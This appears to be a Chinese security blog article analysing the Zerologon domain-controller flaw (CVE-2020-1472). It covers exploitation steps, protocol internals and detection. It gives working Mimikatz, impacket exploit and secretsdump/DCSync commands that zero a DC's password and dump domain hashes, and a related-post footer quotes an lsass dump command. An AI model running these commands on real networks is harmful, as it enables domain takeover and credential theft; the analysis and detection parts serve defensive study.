<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    域提權漏洞系列分析-Zerologon漏洞分析

    VSole2022-12-19 09:55:51


    2020年08月11日,Windows官方發布了 NetLogon 特權提升漏洞的風險通告,該漏洞編號為CVE-2020-1472,漏洞等級:嚴重,漏洞評分:10分,該漏洞也稱為“Zerologon”,2020年9月11日,Secura高級安全專家Tom Tervoort和技術總監Ralph Moonen發表了漏洞相關的博文和白皮書,分享了Zerologon漏洞的細節,表示攻擊者在通過NetLogon(MS-NRPC)協議與AD域控建立安全通道時,可利用該漏洞將AD域控的計算機賬號密碼置為空,從而控制域控服務器,之后相關的EXP也就被開發出來了。

    影響版本

    Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)Windows Server 2012Windows Server 2012 (Server Core installation)Windows Server 2012 R2Windows Server 2012 R2 (Server Core installation)Windows Server 2016Windows Server 2016 (Server Core installation)Windows Server 2019Windows Server 2019 (Server Core installation)Windows Server, version 1903 (Server Core installation)Windows Server, version 1909 (Server Core installation)Windows Server, version 2004 (Server Core installation)
    

    漏洞復現

    方法一:利用Mimikatz在域主機上進行攻擊

    在爆發出CVE-2020-1472漏洞后,Mimikatz在2020.09.18版本中更新了Zerologon模塊,并支持通過Zerologon漏洞攻擊直接域控服務器,但是這種方法想要我們把Mimikatz等利用工具上傳到域內主機中,如果域內主機存在殺毒軟件,我們還需要進行對Mimikatz等利用工具進行免殺處理,優點就是比較方便,不用通過代理不存在因為網絡問題的未知錯誤。

    1.通過Nslookup -type=SRV _ldap._tcp命令獲取域控制服務器的機器賬號(如圖6- 所示),一般來說機器賬號為機器名加上$符號組成;

    圖6- 獲取域控制服務器的機器賬號

    2.利用Mimikatz的Zerologon模塊去探測域控是否存在該漏洞,如果存在漏洞就會回顯“OK,Vulnerable”,如圖6- 所示;

    lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$	
    

    圖6- 探測域控是否存在該漏洞

    3.利用置零修改域控密碼為空,這一步會把域控win-3o8g1o8vv2e(即win-3o8g1o8vv2e$用戶)的密碼置為空,hash為31d6cfe0d16ae931b73c59d7e0c089c0,回顯兩個OK顯示成功把密碼置零(如圖6- 所示),因為機器用戶是不可以登錄系統的,但是域控的機器用戶具備Dcsync特權,我們就可以濫用該特權來進行Dcsync攻擊;

    lsadump::zerologon /target:192.168.0.111 /account:win-3o8g1o8vv2e$ /exploit
    

    圖6- 利用置零修改域控密碼為空

    4.Dcsync獲取域管理員的Hash,這一步可以使用Mimikatz來進行Dcsync并獲取域管理員帳戶或 KRBTGT 帳戶的哈希值即可,如圖6- 所示。

    lsadump::dcsync /dc:win-3o8g1o8vv2e.rd.com /authuser:win-3o8g1o8vv2e$ /authdomain:rd.com /authpassword:"" /domain:rd.com /authntlm /user:krbtgt
    

    圖6- 使用Mimikatz進行Dcsync

    方法二:利用socks5隧道在域外主機上進行攻擊

    第二種方法是在不接觸對方系統情況下,利用socks5隧道使用zerologon進行置零攻擊,在這個攻擊中我們使用Kali Linux進行攻擊利用。

    1.需要在Kali linux中安裝impacket,如圖6- 所示。

    Impacket 是一組用于處理網絡協議的 Python 類。Impacket 專注于提供對數據包和某些協議(例如 SMB1-3 和 MSRPC)協議實現本身的低級編程訪問。數據包可以從頭開始構建,也可以從原始數據中解析,面向對象的 API 使得使用深層協議層次結構變得簡單。該庫提供了一組工具,作為在該庫的上下文中可以完成的操作的示例。

    git clone https://github.com/SecureAuthCorp/impacket.git

    cd impacket

    python3 setup.py install

    圖6- 安裝impacket

    2.使用cve-2020-1472-exploit.py將域控密碼設置為空,這里需要使用我們前面搭建的代理,如圖6- 所示。


    proxychains4 python3 cve-2020-1472-exploit.py win-3o8g1o8vv2e$ 192.168.0.111
    

    圖6- 使用cve-2020-1472-exploit.py攻擊

    3.用impacket中的/impacket/examples/secretsdump.py來進行Dcsync,獲取域內所有用戶的Hash,如圖6- 所示。

    proxychains4 python3 secretsdump.py -no-pass -just-dc win-3o8g1o8vv2e.rd.com/win-3o8g1o8vv2e\$@192.168.0.111

    圖6- 使用Secretsdump.py來進行Dcsync

    在攻擊過程中,我們將域控機器的密碼置為空,這一步會導致域控脫域,因為機器用戶在AD中的密碼(存儲在ntds.dit中)與本地的注冊表/lsass里面的密碼不一致,需要進行恢復密碼。例如使用Powershell進行一次性重置計算機的機器賬戶密碼(包括AD,注冊表,lsass 里面的密碼):

    powershell Reset-ComputerMachinePassword
    

    漏洞原理

    Netlogon 遠程協議 (MS-NRPC)是一個遠程過程調用 (RPC) 接口,存在于每個 Windows NT 工作站、服務器和域控制器中。,用于發現和管理在基于域的網絡上進行用戶和機器身份驗證、為備份域控制器 (BDC) 復制數據庫和維護從域成員到域控制器 (DC)、域的 DC 之間以及跨域的 DC 之間的域關系。每當有登錄請求、域同步請求以及收到將 BDC(備份域控制器)升級為 PDC(主域控制器)的請求時,Netlogon 服務負責系統之間的通信。Netlogon 服務在為登錄請求提供服務時執行許多任務,例如:

    選擇登錄認證的目標域識別目標域中的域控制器進行認證在底座和目標系統之間的 Netlogon 服務中創建通信安全通道將身份驗證請求傳遞給已識別的域控制器將身份驗證結果返回到底座系統上的 Netlogon 服務	
    

    在前面中我們都知道:在網絡登陸(NTLM)中為了對用戶進行身份驗證,服務器將用戶憑據安全地傳遞給用戶帳戶域中的域控制器DC,在將登錄請求傳遞給DC并且成功驗證憑據之后,DC將服務器在授權決策中可以使用的用戶帳戶的屬性引用回服務器(例如授子用戶對特定文件的訪問權)。

    那么在這個認證的過程中, Netlogon 遠程協議負責通過從服務器(充當安全通道客戶機)到 DC(充當安全通道服務器)建立的安全通道將登錄請求發送給DC,同時安全通道是通過使用服務器和 DC共享的密鑰(服務器的機器帳戶密碼)計算的會話密鑰對通信流量進行加密實現的,在DC上成功驗證用戶憑據后,Netlogo遠程協議通過安全通道將用戶授權屬性(稱為用戶驗證信息)傳遞回服務器。

    漏洞利用了Netlogon遠程協議中的缺陷,該協議向 DC 證明加入域的計算機的真實性和身份,由于不正確地使用 AES 操作模式,可以欺騙任何計算機帳戶(包括 DC 本身)的身份,并在域中為該帳戶設置一個空密碼。

    漏洞點一:無限次的認證請求、簽名校驗可以關閉

    首先我們需要理解整個Netlogon和DC交互的過程:

    1.通過NetrServerReqChallenge(Opnum 4)方法發送Client Challenge并獲取返回Server Challenge (SC):


     NTSTATUS NetrServerReqChallenge(    [in, unique, string] LOGONSRV_HANDLE PrimaryName,    [in, string] wchar_t* ComputerName,    [in] PNETLOGON_CREDENTIAL ClientChallenge,    [out] PNETLOGON_CREDENTIAL ServerChallenge);PrimaryName:句柄ComputerName:客戶端計算機的NetBIOS名稱,即計算機名ClientChallenge:填充客戶端請求的用戶密碼明文ServerChallenge:填充服務端返回的Challenge返回值:成功則返回0x00000000,失敗返回一個非零錯誤代碼
    

    發送NetrServerReqChallenge (Opnum 4) 請求,客戶端請求和域控服務器建立連接,發送ClientChallenge給服務端,如圖6-所示。

    如圖6- 發送NetrServerReqChallenge (Opnum 4) 請求

    服務器在收到請求之后,如果服務器支持特定的 Netlogon RPC 方法,那么在通過對PrimaryName參數的驗證后返回在Server Challenge和STATUS_SUCCESS(0x0000000),表示同意建立連接,如圖6-所示。

    圖6- 返回NetrServerReqChallenge (Opnum 4) 響應

    2.接下來是使用NetrServerAuthenticate3 (Opnum 26)或NetrServerAuthenticate2(Opnum 15)方法對客戶端和服務器進行相互認證,建立會話密鑰,用于客戶端和服務器之間的安全通道消息保護。

     NTSTATUS NetrServerAuthenticate2(    [in, unique, string] LOGONSRV_HANDLE PrimaryName,    [in, string] wchar_t* AccountName,    [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,    [in, string] wchar_t* ComputerName,    [in] PNETLOGON_CREDENTIAL ClientCredential,    [out] PNETLOGON_CREDENTIAL ServerCredential,    [in, out] ULONG * NegotiateFlags      );PrimaryName:句柄AccountName:標識包含在客戶端和服務器之間共享的密鑰(密碼) 的帳戶的名稱SecureChannelType:指示此調用正在建立的安全通道的類型ComputerName:一個以 null 結尾的 Unicode 字符串,包含調用此方法的客戶端計算機的NetBIOS 名稱ClientCredential:客戶端提供的憑據ServerCredential:服務器返回的憑證NegotiateFlags:32 位位標志,可協商選項返回值:成功則返回0x00000000,失敗返回一個非零錯誤代碼
    

    客戶端利用session_key和ClientChallenge函數計算ClientCredential并發送給服務端進行校驗,如圖6-所示。

    圖6- 發送NetrServerAuthenticate2(Opnum 15)請求

    服務端也利用session_key和ClientChallenge函數去計算一個ClientCredential,如果值跟客戶端發送過來的一致,就讓客戶端通過認證。例如DC收到ClientCredential后并通過一系列的驗證步驟后,返回STATUS_SUCCESS(0x00000000),表示認證通過,如圖6-所示。

    圖6- 返回NetrServerAuthenticate2(Opnum 15)請求

    整體的流程可以簡單理解為:


    1.客戶端調用NetrServerReqChallenge方法發送ClientChallenge給服務端2.服務端向客戶端返回ServerChallenge3.雙方都利用Client的hash、ClientChallenge、ServerChallenge同時計算Session_key4.客戶端利用session_key和ClientChallenge函數計算ClientCredential并發送給服務端進行校驗。5.服務端也利用Session_key和ClientChallenge函數去計算一個ClientCredential6.服務端對比客戶端發送過來的ClientCredential,一致表示通過認證
    

    同時在認證的整個協議包里面,默認會增加簽名校驗,這個簽名的值是由session_key進行加密的,但是我們可以通過在NegotiateFlags中,取消設置對應的標志位來關閉這個選項的,將flag位設置為0x212fffff關閉簽名校驗,如圖6- 所示。

    圖6- flag位設置為0x212fffff

    綜上所述,我們需要注意點2個點為:


    1.客戶端可以無限發送ClientCredential給服務端進行校驗;2.客戶端可以關閉簽名校驗。	
    

    漏洞點二:錯誤設置CFB8模式

    建立安全通道時,需要使用ComputeNetlogonCredential函數對客戶端的Netlogon憑據輸入client challenge和服務器的Netlogon憑據輸入server challenge (SC)進行加密,ComputeNetlogonCredential函數支持使用AES-128 加密算法和DES_ECB 進行加密,采用哪種加密算法在NetrServerAuthenticate3 (Opnum 26)或NetrServerAuthenticate2(Opnum 15)方法中的NegotiateFlags(32 位位標志,可協商選項)中進行定義,例如使用AES-128 加密算法,如圖6-所示。

    圖6- NegotiateFlags 標志

    漏洞點1:錯誤使用了 AES-128 加密算法,ComputeNetlogonCredential函數使用的是名為在8位CFB模式下使用零初始向量的AES-128加密算法:


     ComputeNetlogonCredential(Input, Sk,               Output)        SET IV = 0        CALL AesEncrypt(Input, Sk, IV, Output)
    

    CFB是一種分組密碼,可以將塊密碼變為自同步的流密碼,CFB8模式下加密過程,如圖6- 所示:

    1.將明文拆分為N份,C1,C2,C3,然后定義一個初始向量IV;

    2.第一先將輪加密初始向量IV,然后異或明文得到第二輪的密文,加密第二輪的密文,異或明文得到第三輪的密文;

    圖6- CFB加密過程

    其加解密公式如下:

    這種加密算法要求IV每次都要隨機不同,然而ComputeNetlogonCredential 函數中IV卻是固定,即IV=000000000000000000000000000000,現在如果我們控制輸入的明文為0000000000000000,那么整個加密過程變量為在AES加密中的Key(AES加密使用的Key會隨著每一輪Server Challenge的變化而變化)。但是因為 AES 是一種沒有統計偏差的高質量密碼,輸入任何使用密鑰加密的字符,輸出中的每個位為0或1的概率都為 50%,所以8個輸出位全為零的幾率為1/256,所以如果我們控制明文內容為0000000000000000然后不斷的進行運算,那么一定存在一個Key,使得密文為00000000,如圖6- 所示。

    圖6- IV和明文為0的運算過程

    所以配合漏洞點一中的利用,我們可以通過關閉簽名校驗,然后發送大量的ClientCredential(0000000000000000)請求來進行驗證(如圖6- 所示),直至服務器那端計算出來的密文hash也全是0,就可認證通過,如圖6- 所示。

    圖6- 發送大量ClientCredential

    圖6- 認證通過

    利用點三:利用NetrServerPasswordSet2方法重置DC機器帳戶密碼

    在通過認證之后,我們就可以調用RPC函數了,在漏洞的EXP中是通過NetrServerPasswordSet2 (Opnum 30)方法進行把DC的機器賬號的密碼重置為0,NetrServerPasswordSet2方法允許客戶端為域控制器使用的帳戶設置一個新的明文密碼:  


    NTSTATUS NetrServerPasswordSet2(    [in, unique, string] LOGONSRV_HANDLE PrimaryName,    [in, string] wchar_t* AccountName,    [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,    [in, string] wchar_t* ComputerName,    [in] PNETLOGON_AUTHENTICATOR Authenticator,    [out] PNETLOGON_AUTHENTICATOR ReturnAuthenticator,    [in] PNL_TRUST_PASSWORD ClearNewPassword);PrimaryName:自定義句柄AccountName:以 null 結尾的Unicode 字符串,包含正在更改其密碼的帳戶的名稱SecureChannelType:一個枚舉值,定義用于身份驗證的安全通道ComputerName:包含發出請求的計算機的NetBIOS 名稱的以 null 結尾的 Unicode 字符串Authenticator:指向NETLOGON_AUTHENTICATOR 結構的指針,包含加密的登錄 憑據 和時間戳ReturnAuthenticator:指向NETLOGON_AUTHENTICATOR 結構的指針,其中包含服務器返回驗證器ClearNewPassword:指向NL_TRUST_PASSWORD 結構的指針,包含如調用 NetrServerPasswordSet2中指定的加密的新密碼返回值:方法成功返回0x00000000;否則,返回一個非零錯誤代碼
    

    那么發送NetrServerPasswordSet2 (30)請求, 將NL_TRUST_PASSWORD結構中的Length 填充為0,即是清空密碼。 NL_TRUST_PASSWORD結構定義了一個緩沖區,用于攜帶要通過網絡傳輸的計算機帳戶密碼,在通過網絡發送之前使用協商的加密算法進行加密:


     typedef struct _NL_TRUST_PASSWORD {    WCHAR Buffer[256];    ULONG Length;  } NL_TRUST_PASSWORD,   *PNL_TRUST_PASSWORD;
    

    圖6- 發送 NetrServerPasswordSet2 (30) 請求

    DC返回NetrServerPasswordSet2 (30) 請求(如圖6- 所示)。至此整個漏洞完成利用。

    脫域問題

        導致脫域主要是因為AD里面存儲的機器密碼跟本機的Lsass里面存儲的密碼不一樣,正常情況下,Domain中有一個DC和一個服務器,因為他們有一個共享的Secret(機器帳戶密碼),可以使用Secret進行彼此通訊建立加密通道,借助Zerologon攻擊,攻擊者主要更改DC的計算機帳戶的密碼,即是單方面更改Secret,那么就沒有辦法進行彼此通訊建立加密通道。

    中繼到DRSUAPI以實現DCSync

    常規的Netlogon漏洞利用會導致脫域問題,通過中繼連接直接向 DRSUAPI 協議(目錄復制服務 (DRS) 遠程協議點的子Rpc端口)的 RPC 端點進行身份驗證獲得了DCSync的權限,可以不用進行修改密碼,這個攻擊方法主要利用了Netlogon中的NetrLogonSamLogonWithFlags (Opnum 45)方法(如圖6- 所示)。利用需要以下條件:


    1.需要一個帳戶來觸發打印機錯誤2.DC上運行Print Spooler 服務3.DC存在Zerologon漏洞4.域中應該至少有 2 個 DC,因為中繼回同一個 DC不起作用
    

    圖6- 中繼到 DRSUAPI

    攻擊流程:

    1.在 Dcsync 中繼模式和目標中設置Ntlmrelayx DC1,如圖6- 所示。

    圖6- 設置Ntlmrelayx DC1

    2.對DC2觸發Printer BUG,如圖6- 所示。

    圖6- 對DC2觸發Printer BUG

    回到 Ntlmrelayx中可以看到進行了Dcsync,如圖6- 所示。

    圖6- 進行了Dcsync

    檢測

    通過AD系統審計日志進行檢測

    在8月份的補丁中,Microsoft添加了五個新的event ID,以通知易受攻擊的Netlogon連接:

    1.允許存在漏洞的Netlogon安全通道連接時,將生成event ID 58292.拒絕易受攻擊的Netlogon連接時,將觸發event ID 5827和58283.允許存在漏洞的Netlogon連接時觸發的event ID 5830和5831
    

    如果域控服務器沒有打補丁,攻擊者利用“Zerologon”漏洞攻擊成功后會有Event ID 4742,Event ID 4742表示計算機帳戶已更改,但是正常的賬戶更改也會產生event ID 4742(如圖6- 所示),由于攻擊者需要通過Netlogon協議進行多次嘗試,還會產生Event ID 5805(如圖6- 所示),通過組合檢測這2個Event ID可以有效檢測攻擊利用。

    圖6- Event ID 4742

    圖6- Event ID 5805

    通過網絡流量進行檢測

    根據上面的漏洞分析,攻擊者需要使用8字節全0 Client Challenge不斷嘗試得到一個正確的8字節全0 Client Credential通過認證。所以網絡中將會有大量的Netlogon協議信息,可以通過檢測如果短時間內出現大量的NetrServerAuthenticate3請求,并且Client Credential全為0的流量來檢測攻擊利用。

    域控制器用戶分析
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    很多人把這個原因歸結于KB2871997補丁,實際上不然,這個事情的成因實際是UAC在搗亂。RID為500的賬戶和屬于本地administrators組的域用戶在通過網絡遠程鏈接時,默認就是高權限令牌。
    如果找到了某個用戶的ntlm hash,就可以拿這個ntlm hash當作憑證進行遠程登陸了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos協議均存在PTH: NTLM自然不用多說 kerberos協議也是基于用戶的client hash開始一步步認證的,自然也會受PTH
    導出域內所有用戶的信息。該工具的原理是首先使用提供的用戶登錄憑據通過 smbexec 或者 wmiexec 遠程連接至域控制器并獲得高權限,進而從注冊表中導出本地帳戶的哈希,同時通過 Dcsync 或從 NTDS.dit 文件中導出所有域用戶的哈希。
    所以可以通過它傳回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 執行該指令,獲取到lsass.dmp
    所以可以通過它傳回lsass.dmp本地提取hashprocdump64.exe -accepteula -ma lsass.exe lsass.dmp 執行該指令,獲取到lsass.dmp
    如果找到了某個用戶的ntlm hash,就可以拿這個ntlm hash當作憑證進行遠程登陸了 其中若hash加密方式是 rc4 ,那么就是pass the hash 若加密方式是aes key,那么就是pass the key 注意NTLM和kerberos協議均存在PTH: NTLM自然不用多說 kerberos協議也是基于用戶的client hash開始一步步認證的,自然也會受PTH
    一個內網安全攻防的知識倉庫
    信息搜集:開源情報信息收集、創建企業密碼字典進入內網:基于企業弱賬號漏洞、基于系統漏洞進入、網站應用程序滲透隱匿攻擊:Command and Control、代理內網跨邊界應用:內網跨邊界轉發、內網跨邊界代理穿透、shell反彈等
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类